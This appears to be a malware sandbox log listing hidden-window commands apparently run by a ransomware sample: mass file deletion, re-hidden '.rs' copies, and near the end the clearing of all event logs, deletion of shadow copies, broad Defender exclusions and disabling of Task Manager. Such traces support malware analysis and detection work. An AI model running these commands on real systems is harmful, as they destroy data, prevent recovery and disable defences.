- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\User Account Pictures\guest.bmp""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VSTA\Pipeline.v10.0\AddInViews\Microsoft.Office.Tools.v9.0.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\VSTO\vstoee.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\AFTRNOON\AFTRNOON.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\Users\Default\AppData\Roaming\Microsoft\Windows\SendTo\Compressed (zipped) Folder.ZFSendToTarget""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VSTA\Pipeline.v10.0\AddInSideAdapters\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\VSTO\10.0\VSTOInstaller.config""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\OfficeSoftwareProtectionPlatform\Cache\cache.dat""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Network\Downloader\qmgr0.dat""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{38b2c744-ad08-4d5b-91a2-3fb6f739ff3e}\VC_redist.x86.exe""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\RAC\PublishedData\RacWmiDatabase.sdf""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\VGX\VGX.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\VC\msdia100.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\TRANSLAT\ENES\MSB1ENES.ITS""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\RAC\StateData\RacDatabase.sdf""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\OFFICE14\Csi.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\SKY\PREVIEW.GIF""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\REFINED\PREVIEW.GIF""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\SATIN\PREVIEW.GIF""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\RIPPLE\PREVIEW.GIF""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\RICEPAPR\PREVIEW.GIF""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\RMNSQUE\PREVIEW.GIF""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\PIXEL\PIXEL.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\SLATE\PREVIEW.GIF""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\SONORA\PREVIEW.GIF""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows\WER\ReportQueue\NonCritical_x64_4a8ed64bf1962bf234c1a7153259451034e674_cab_0745940a\Report.wer""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\QUAD\PREVIEW.GIF""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\LEVEL\LEVEL.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\PAPYRUS\PAPYRUS.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows\WER\ReportQueue\NonCritical_x64_528c94ccf5464e2e06249b41105333fcda5052_cab_01ecae6c\display.inf""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\NETWORK\NETWORK.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\PROFILE\PREVIEW.GIF""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\RADIAL\PREVIEW.GIF""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\THEMES.INF""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows\WER\ReportQueue\NonCritical_x64_4017a4527469f9d5b499a101a973ca853f881d9_cab_01ecaf57\Report.wer""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib -h -r -s "%ProgramFiles%\desktop.ini""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib -h -r -s "%CommonProgramFiles%\System\ado\adojavas.inc""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib -h -r -s "C:\$Recycle.Bin\S-1-5-21-1238866942-1249195528-555854008-1000\desktop.ini""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib -h -r -s "%CommonProgramFiles(x86)%\microsoft shared\ink\1.0\Microsoft.Ink.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\GRPHFLT\CGMIMP32.FLT""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\STUDIO\PREVIEW.GIF""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\Filters\odffilt.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ProgramFiles(x86)%\Adobe\Acrobat Reader DC\Reader\A3DUtils.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib -h -r -s "%ProgramFiles(x86)%\desktop.ini""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\kms\KMS_VL_ALL_AIO_Debug.log""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\SUMIPNTG\PREVIEW.GIF""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\SPRING\PREVIEW.GIF""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\STRTEDGE\PREVIEW.GIF""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib -h -r -s "%CommonProgramFiles(x86)%\microsoft shared\DAO\dao360.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ProgramFiles(x86)%\Adobe\Acrobat Reader DC\Resource\ENUtxt.pdf""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\LAYERS\LAYERS.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\packages\vcRuntimeAdditional_x86\cab1.cab""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{E699E009-1C3C-4E50-9B57-2B39F0954C7F}v14.29.30133\packages\vcRuntimeAdditional_amd64\cab1.cab""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib +h "%ALLUSERSPROFILE%\Microsoft\Windows\Ringtones\desktop.ini.rs""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\packages\vcRuntimeAdditional_x86\cab1.cab""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib -h "%ALLUSERSPROFILE%\Microsoft\Windows\Ringtones\desktop.ini""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows NT\MSFax\VirtualInbox\en-US\WelcomeFax.tif""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{f65db027-aff3-4070-886a-0d87064aabb1}\vcredist_x86.exe""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows Defender\Support\MPLog-07132009-221054.log""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\packages\vcRuntimeMinimum_amd64\cab1.cab""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\CASCADE\CASCADE.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\vcredist_x64.exe""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\BREEZE\BREEZE.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{9D29FC96-9EEE-4253-943F-96B3BBFDD0B6}v14.16.27024\packages\vcRuntimeAdditional_amd64\cab1.cab""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\Web Server Extensions\14\BIN\1033\FPEXT.MSG""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows Defender\Definition Updates\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\mpasbase.vdm""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\CONCRETE\CONCRETE.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Oracle\Java\installcache_x64\baseimagefam8""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\COMPASS\COMPASS.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\packages\vcRuntimeMinimum_x86\cab1.cab""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\INDUST\INDUST.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\EDGE\EDGE.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\IRIS\IRIS.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\ICE\ICE.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\EVRGREEN\EVRGREEN.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\EXPEDITN\EXPEDITN.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{EC9807DE-B577-47B1-A024-0251805ACF24}v14.29.30133\packages\vcRuntimeMinimum_x86\cab1.cab""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\ECHO\ECHO.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\ECLIPSE\ECLIPSE.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\JOURNAL\JOURNAL.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{fd9b6070-d13e-45dc-819b-41806bf45b6b}\VC_redist.x64.exe""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\DEEPBLUE\DEEPBLUE.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{F1B0FB3A-E0EA-47A6-9383-3650655403B0}v14.16.27024\packages\vcRuntimeMinimum_amd64\cab1.cab""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Default Programs.lnk""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows\Ringtones\desktop.ini""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-0115-0409-1000-0000000FF1CE}-C\branding.xml""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{295d1583-fdb9-414b-a4c8-da539362a26b}\VC_redist.x64.exe""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\Stationery\Bears.htm""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\OFFICE14\1033\ACEINTL.DLL""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\Source Engine\OSE.EXE""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\ink\InkDiv.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\Java\Java Update\jaureg.exe""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\EQUATION\EQNEDT32.CNT""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\System\DirectDB.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib +h "C:\Users\desktop.ini.rs""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\1040\hxdsui.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\DW\DBGHELP.DLL""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\System\DirectDB.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\1033\hxdsui.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\Filters\msgfilt.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\MSEnv\PublicAssemblies\extensibility.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\ink\en-US\InkObj.dll.mui""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\ink\1.7\Microsoft.Ink.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%WINDIR%\addins\FXSEXT.ecf""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\MSInfo\en-US\msinfo32.exe.mui""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\abcpy.ini""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\GRPHFLT\CGMIMP32.CFG""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\Adobe\HelpCfg\en_US\Reader_DC.helpcfg""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib -h "%WINDIR%\assembly\Desktop.ini""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib +h "C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\boot.sdi.rs""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib +h "%WINDIR%\assembly\Desktop.ini.rs""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%WINDIR%\AppCompat\Programs\RecentFileCache.bcf""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-0018-0409-1000-0000000FF1CE}-C\PowerPointMUI.msi""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib -h "C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\boot.sdi""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%WINDIR%\assembly\Desktop.ini""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\1036\hxdsui.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%WINDIR%\bfsvc.exe""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-001B-0409-1000-0000000FF1CE}-C\Setup.xml""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-0011-0000-1000-0000000FF1CE}-C\Office32WW.msi""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\MSInfo\msinfo32.exe""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\Users\desktop.ini""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%WINDIR%\AppPatch\AcGenral.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\Help\hxds.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\Steam\steamservice.exe""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib -h "C:\Users\desktop.ini""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-0019-0409-1000-0000000FF1CE}-C\PublisherMUI.msi""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib +h "C:\$Recycle.Bin\S-1-5-21-1238866942-1249195528-555854008-1000\desktop.ini.rs""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\kms\KMS_VL_ALL_AIO.cmd""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib -h "C:\$Recycle.Bin\S-1-5-21-1238866942-1249195528-555854008-1000\desktop.ini""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib +h "%LOCALAPPDATA%\win32cryp.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib -h "%ProgramFiles%\desktop.ini""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "vssadmin delete shadows /all /quiet"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -Force -ExclusionPath <Drive name for removable media>:\"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -Force -ExclusionPath E:\"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -Force -ExclusionPath D:\"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -Force -ExclusionExtension py"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -Force -ExclusionPath C:\"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -Force -ExclusionExtension exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib -h "%ProgramFiles(x86)%\desktop.ini""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\$Recycle.Bin\S-1-5-21-1238866942-1249195528-555854008-1000\desktop.ini""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib +h "%ProgramFiles(x86)%\desktop.ini.rs""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\EURO\MSOEURO.DLL""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\1031\hxdsui.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Services\verisign.bmp""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\ink\1.0\Microsoft.Ink.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\System\ado\adojavas.inc""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\EQUATION\1033\EEINTL.DLL""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\1028\hxdsui.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ProgramFiles(x86)%\Adobe\Acrobat Reader DC\Esl\AiodLite.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\DESIGNER\MSADDNDR.DLL""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\DAO\dao360.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ProgramFiles%\desktop.ini""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib +h "%ProgramFiles%\desktop.ini.rs""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\Services\verisign.bmp""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ProgramFiles(x86)%\Adobe\Acrobat Reader DC\Reader\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ProgramFiles(x86)%\Adobe\Acrobat Reader DC\ReadMe.htm""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ProgramFiles(x86)%\desktop.ini""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib -h -r -s "%CommonProgramFiles(x86)%\System\DirectDB.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\packages\vcRuntimeMinimum_amd64\cab1.cab""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\boot.sdi""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\1041\hxdsui.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib -h "C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\AdobeHunspellPlugin.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Crypto\RSA\S-1-5-18\6d14e4b1d8ca773bab785d1be032546e_d4602615-9d50-4880-be41-678935e93eaa""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\folder.ico""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-0117-0409-1000-0000000FF1CE}-C\Access.en-us\AccessMUI.msi""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VGX\VGX.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-002C-0409-1000-0000000FF1CE}-C\Proof.fr\Proof.cab""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Mozilla\updates\D78BF5DD33499EC2\update-config.json""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-002C-0409-1000-0000000FF1CE}-C\Proof.es\Proof.cab""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Oracle\Java\javapath\java.exe""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VC\msdia100.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\PROOF\MSLID.DLL""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-0117-0409-1000-0000000FF1CE}-C\AccessMUISet.msi""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\IdentityCRL\ppcrlconfig.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\TextConv\WksConv\Wkconv.exe""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\System\ado\adojavas.inc""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VBA\VBA6\VBE6EXT.OLB""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\Users\Default\NTUSER.DAT""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VSTO\ActionsPane3.xsd""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\MF\Active.GRL""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\OFFICE14\ACECORE.DLL""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib +h "C:\Users\Default\NTUSER.DAT.rs""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\Abbreviations\en_CA\List.txt""' (with hidden window)
